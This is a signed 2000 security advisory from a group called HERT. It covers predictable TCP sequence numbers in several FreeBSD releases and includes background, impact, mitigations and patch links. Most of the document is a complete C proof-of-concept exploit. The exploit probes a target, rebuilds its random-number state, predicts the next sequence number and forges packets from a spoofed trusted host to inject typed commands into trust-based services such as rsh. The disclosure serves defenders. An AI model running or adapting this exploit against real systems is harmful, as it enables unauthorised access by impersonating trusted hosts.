-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - --------------------------------------------------------------- HERT - Hacker Emergency Response Team alert () hert org - http://hert.org Advisory: #00003 Title: FreeBSD IP Spoofing Date: 1st October 2000 Summary: IP Spoofing Sequence number prediction IMPACT: Remote access via services using IP based auth Authors: Pascal Bouchareine - Kalou Paul Spiby Test Exploit: Pascal Bouchareine Kalou - - --------------------------------------------------------------- Copyright (C) 2000 Hacker Emergency Response Team Copyright (C) 2000 Pascal Bouchareine Permission is granted to reproduce and distribute HERT advisories in their entirety, provided credits is awarded to its author and to HERT and republished with the intent of increasing the awareness of the Internet community. This advisory and test code is part of our research and development. They are not production tools for either attack or defense within an information warfare setting. Rather, they are just demonstrating proof of concept. The HERT PGP public key is available at ftp://ftp.hert.org/pub/HERT_PGP.key To subscribe to the HERT Alert mailing list, email alert () hert org with subscribe in the body of the message. 1. Vulnerability description Weak random() in FreeBSD's TCP stack allows "spoof" [1] attacks. 2. Background The way FreeBSD handles random sequence number incrementing is weak. With 3 consecutive random increments captured from the responses of 4 SYN packets sent to the target, an attacker can rebuild the random state of the remote machine. This information can then be used to predict the next random increments the remote machine will make. 3. Distributions known to be affected At least FreeBSD 5.x, 4.1-RELEASE, 4.0-RELEASE, 3.5-STABLE. 4. Details The pseudo-random function called is a linear congruent generator [2] where the (N+1)th value is calculated from the Nth by : x[n + 1] = (7^5 * x[n]) mod (2^31 - 1) The random incrementation of the ISS is done by adding : 122 * 1024 + ((random() >> 14) & 0x3ffff) This incrementation is done for each connection request and at 500ms intervals by the kernel. Unfortunately, it is likely to be done consecutively if an attacker is fast enough. Then, guessing the remote random() state just takes (65535 * 3) tests for the attacker to synchronize. Once done, the attacker may generate the same sequence numbers as the remote system does, and successfully achieve a spoof attack [1] (see example below). 5. Impact Any program that blindly trusts a remote IP address and doesn't provide strong (key/challenge) authentication may allow an attacker to send arbitrary data to the machine (eg. rcmd family [ rlogind, rshd ], some backup software, etc.) while masquerading as a trusted host; therefore gaining access to the remote system. 6. Recommendations These random number generators are not suited for security purposes [2]. You may want to patch /sys/netinet/tcp_seq.h and use arc4_random() instead of random() to generate the ISS incrementation. This random stream derived from rc4 is strong enough to prevent this type of attack, when using at least 32 bytes of switching cells, no less. Randomness may be added by using the keyboard, mouse, network "entropy" at a short enough frequency (seconds, minutes). Never trust IP addresses in computer applications. If you have to, be sure to use a secured protocol, with strong key exchange, such as ssh. 7. Official fix: This advisory has been released in co-ordination with the FreeBSD team who have now fixed FreeBSD 5.x (-CURRENT), 4.x and 3.x. The patch files can be obtained from the following URLs: For 3.x: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss-3.x.patch.asc For 4.x: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:52/tcp-iss.patch.asc 8. Documentation [1] Bellovin and Robert T. Morris about IP spoofing : ftp://ftp.research.att.com/dist/internet_security/117.ps.Z ftp://ftp.research.att.com/dist/internet_security/ipext.ps.Z [2] An excellent paper about random and security by Eastlake, Crocker & Schiller : ftp://ftp.funet.fi/rfc/rfc1750.txt 9. General Information To report a vulnerability: http://www.hert.org/vul_reporting_form HERT stands for Hacker Emergency Response Team. HERT is a pool of hackers and security consultants from many different countries and a launchpad for new computer security projects. We focus on research and prevention; not enforcement and repression. If you wish to join the HERT effort please send a note to hert () hert org. Contact hert () hert org for more information. 10. Demonstration code /* Sample example of remote sequence number prediction. ** ** FreeBSD { 4.1-Rel, 4.0-Rel, 3.5-Stable, ... } ** ** This exploit is part of the research and development effort conducted by ** HERT. It is not a production tool for either attack or defense ** within an information warfare setting. Rather, it is a small ** program demonstrating proof of concept. ** ** If you are not the intended recipient, or a person responsible for ** delivering it to the intended recipient, you are not authorised to and ** must not disclose, copy, distribute, or retain this message or any ** part of it. Such unauthorised use may be unlawful. If you have ** received this transmission in error, please email us immediately at ** hert () hert org so that we can arrange for its return. ** ** ** Concept: ** ** 1) Attacker sends 4 SYN (with her IP address) and 1 with the spoofed ** address. ** ** 2) Victim answers with 5 SYN/ACK, *very close in time* ** ** Attacker calculates the 3 random increments that were given. ** Since FreeBSD adds randomness to it's ISS two times a second, ** this is hopefully avoided during this process. ** ** 3) Attacker takes his pocket calculator, calculates a "replay" and ** guesses the 4th increment. She manually enters the 5th seq at her ** keyboard, drinks a coffee, and sends a forged ACK with the good ** seq/ack to victim. ** She's done. ** ** You still have to find something for the trusted host to shut up. ** This is clearly not the biggest problem. ** ** You may want to adjust precision from 4 SYNs to more or less, regarding ** your ping with target (150ms is good). More is useless until you have ** two possible matches. Less is usefull to have a 1/2 luck rate if you have ** a really bad connection. A 486 dx/33 was used to test this on a 56k modem ** with 4 syns and it was just fine. ** ** Pascal Bouchareine [ kalou ] ** */ #include #include #include #include #include #include #include #include #include #include #include #include #define ISS_INCR (122*1024) #define TCP_RANDOM18(n, lr) (guess_next(n, lr) >> 14 & 0x3ffff) #define INTOA(x) inet_ntoa( (struct in_addr) { x } ) #ifdef linux #define ip_sum ip_csum #endif struct spoof { unsigned int myaddr; unsigned int src; unsigned int dst; unsigned short sport; unsigned short dport; }; /* ** This simulates freebsd's rand(), and gives the (time)th next random number, ** regarding the previous one (r). */ inline unsigned int guess_next(int times, unsigned int r) { register unsigned int myr; register int t, hi, lo; int i; myr = r; for (i = 0; i < times; i++) { hi = myr / 127773; lo = myr % 127773; t = 16807 * lo - 2836 * hi; if (t <= 0) t += 0x7fffffff; myr = t; } return myr; } /* ** Calculates the next sequence. ** With 4 seqs, you often have an unique solution. (always ?) ** */ inline unsigned int init_iss(unsigned int seq[], int nseq) { unsigned int tcp_iss; register unsigned int try; int i, res; if (nseq < 2) { return -1; } tcp_iss = seq[nseq - 1]; for (try = (((seq[1] - seq[0]) << 2) - ISS_INCR) << 14; try < (((((seq[1] - seq[0]) << 2) - ISS_INCR) << 14) + 0xffff); try++) { for (i = 1, res = 0; i < (nseq - 1); i++) { if ( ((ISS_INCR + TCP_RANDOM18(i, try)) >> 2) == (seq[i + 1] - seq[i]) ) { res++; } else { if (res) res--; break; } } if (res) { /* There, each random increment matched. We assume ** the last rand is good to compute the next one. */ tcp_iss += ( (ISS_INCR + TCP_RANDOM18(i, try)) >> 2 ); fprintf(stderr, "[init_iss]\t found (precision %d)\n", res); fprintf(stderr, "[init_iss]\t last seq ws %u\n", seq[i]); fprintf(stderr, "[init_iss]\t next seq is %u\n", tcp_iss); return tcp_iss; } } fprintf(stderr, "[init_iss]\t failed to find iss.\n"); return 0; } int raw_sock(int proto) { int true = 1; int s; s = socket(AF_INET, SOCK_RAW, proto); if (s > 0) { if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &true, sizeof(true))) { perror("setsockopt"); return -1; } } else { perror("raw_sock"); return -1; } return s; } /* ** Well i guess this is ripped from somewhere.. */ unsigned int host_lookup(char *h) { struct in_addr a; struct hostent *he; if ( (a.s_addr = inet_addr(h)) == -1 ) { if ( (he = gethostbyname(h)) == NULL ) { perror("lookup"); return -1; /* 255.255.255.255... */ } bcopy(he->h_addr, (char *) &a.s_addr, he->h_length); } return a.s_addr; } /* The copy'n pasted one works so well. */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } int send_tcp(int s, unsigned int src, unsigned int dst, unsigned char flg, unsigned short sport, unsigned short dport, unsigned int seq, unsigned int ack, char *data, int dlen) { unsigned char pkt[1024]; struct ip *ip; struct tcphdr *tcp; struct sockaddr_in sa; static int ip_id = 0; struct pseudo { unsigned int s; unsigned int d; char n; char p; unsigned short l; } pseudo; if (!ip_id) { ip_id = htons(rand() % getpid()); } ip = (struct ip *) pkt; tcp = (struct tcphdr *) (pkt + sizeof(struct ip)); pseudo.s = src; pseudo.d = dst; pseudo.n = 0; pseudo.p = IPPROTO_TCP; pseudo.l = htons(sizeof(struct tcphdr) + dlen); tcp->th_sport = htons(sport); tcp->th_dport = htons(dport); tcp->th_seq = htonl(seq); tcp->th_ack = htonl(ack); tcp->th_off = 5; tcp->th_flags = flg; tcp->th_win = htons(16384); tcp->th_urp = 0; tcp->th_sum = 0; memmove(((char *) tcp) + sizeof(struct tcphdr), data, dlen); /* baom. 1024 */ memmove(((char *) tcp) - sizeof(struct pseudo), (char *) &pseudo, sizeof(struct pseudo)); tcp->th_sum = in_cksum(((char *) tcp) - sizeof(struct pseudo), sizeof(struct pseudo) + sizeof(struct tcphdr) + dlen); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(sizeof(struct tcphdr) + sizeof(struct ip) + dlen); ip->ip_id = ip_id++; ip->ip_off = htons(0); ip->ip_ttl = 64; ip->ip_p = IPPROTO_TCP; ip->ip_sum = 0; ip->ip_src.s_addr = src; ip->ip_dst.s_addr = dst; // ip->ip_sum = in_cksum(pkt, sizeof(struct ip) // + sizeof(struct tcphdr) + dlen); ip->ip_sum = 0; sa.sin_family = AF_INET; sa.sin_addr.s_addr = dst; sa.sin_port = 0; if (sendto(s, pkt, sizeof(struct ip) + sizeof(struct tcphdr) + dlen, 0, (struct sockaddr *) &sa, sizeof(sa)) < 0) { perror("sendto"); return -1; } return 0; } int get_acks(int s, int n, unsigned int *seq, unsigned int src_addr, unsigned short src_port) { struct sockaddr_in from; int fromlen; char buf[512]; int nr = n; int len; struct tcphdr *tcp; struct ip *ip; while(nr) { fromlen = sizeof(from); if (recvfrom(s, buf, 512, 0, (struct sockaddr *) &from, &fromlen) > 0) { ip = (struct ip *) buf; if (ip->ip_src.s_addr == src_addr) { len = ip->ip_hl << 2; tcp = (struct tcphdr *) (buf + len); if (tcp->th_sport == src_port) { fprintf(stderr, "[get_acks]\t got %lu\n", ntohl(tcp->th_seq)); seq[n - nr--] = ntohl(tcp->th_seq); } } } else { perror("recvfrom"); return -1; } } return nr; } unsigned int send_init_flow(int s, unsigned int src, unsigned int dst, unsigned int spoofer, unsigned short sport, unsigned short dport, int nseq) { unsigned int seq; unsigned int ssport = sport; int i, err; seq = rand(); err = 0; for (i = 0; i < nseq; i++) { err += send_tcp(s, src, dst, TH_SYN, ssport++, dport, seq++, 0, "", 0); } err += send_tcp(s, spoofer, dst, TH_SYN, sport, dport, seq, 0, "", 0); if (err) return -1; return seq; } void spoof_loop(int s, unsigned int src, unsigned int dst, unsigned short sport, unsigned short dport, unsigned int oseq, unsigned int oack) { char buf[512]; char *p; unsigned int seq = oseq + 1; /* since remote inc'ed us in syn/ack */ unsigned int ack = oack + 1; /* since we must inc remote in ack */ int i; /* Our syn/ack is on its way. Better wait a little. */ usleep(2800); send_tcp(s, src, dst, TH_ACK, sport, dport, seq, ack, "", 0); while(read(0, buf, 512)) { if ( (p = strchr(buf, '\r')) || (p = strchr(buf, '\n')) ) { *p = '\0'; } fprintf(stderr, "[send]\t %s\n", buf); strcat(buf, "\r\n"); send_tcp(s, src, dst, TH_ACK|TH_PUSH, sport, dport, seq, ack, buf, strlen(buf)); seq += strlen(buf); memset(buf, '\0', sizeof(buf)); } send_tcp(s, src, dst, TH_RST, sport, dport, seq, ack, buf, strlen(buf)); } int spoof(struct spoof s, int p) { int ss, rs; unsigned int seqs[4]; unsigned int seq, ack; rs = raw_sock(IPPROTO_TCP); ss = raw_sock(IPPROTO_RAW); if ((ss < 0) || (rs < 0)) { perror("raw socket"); return -1; } fprintf(stderr, "[main]\t\t probing %s.\n", INTOA(s.dst)); fprintf(stderr, "[main]\t\t source %s.\n", INTOA(s.myaddr)); seq = send_init_flow(ss, s.myaddr, s.dst, s.src, s.sport, s.dport, p); if (seq > 0) { fprintf(stderr, "[main]\t\t our seq is %u\n", seq); if (get_acks(rs, 4, seqs, s.dst, htons(s.dport)) == 0) { ack = init_iss(seqs, 4); fprintf(stderr, "[main]\t\t using %u+1/%u+1 as %s.\n", seq, ack, INTOA(s.src)); if (ack > 0) { usleep(2000); spoof_loop(ss, s.src, s.dst, s.sport, s.dport, seq, ack); } else { return -3; } } else { /* get_acks */ return -2; } } /* seq < 0 */ return -1; } void usage(char *p) { fprintf(stderr, "Usage: %s..\n" "\n\t<-m (my address)>\n" "\t<-s (spoofed host)>\n" "\t<-d (destination)>\n" "\t<-p (dest port)>\n" "\t[-S (source port):rand]\n" "\t[-P precision:4]\n\n", p); exit(1); } int main(int argc, char **argv) { int precision; unsigned int hostaddr; struct spoof s; char c; srand(getpid()); s.myaddr = 0; s.src = 0; s.dst = 0; s.dport = 0; s.sport = getpid(); precision = 4; while ((c = getopt(argc, argv, "m:s:d:p:S:P:")) != EOF) { switch(c) { case 'm': case 's': case 'd': hostaddr = host_lookup(optarg); if (hostaddr == -1) { fprintf(stderr, "%s: unknown host.\n", optarg); exit(1); } switch(c) { case 'm': s.myaddr = hostaddr; break; case 's': s.src = hostaddr; break; case 'd': s.dst = hostaddr; break; } break; case 'S': s.sport = atoi(optarg); break; case 'p': s.dport = atoi(optarg); break; case 'P': precision = atoi(optarg); break; } } if ((!s.myaddr) || (!s.src) || (!s.dst) || (!s.dport)) { usage(argv[0]); } return spoof(s, precision); } -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.1 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE5267PUyyzsJj2xHMRAiGNAKCkKGxCmDryGdJbzw+7IqA5qJGUIgCgqFT2 IqFFgcLXGINv3l+K4LBKcU8= =D5/J -----END PGP SIGNATURE-----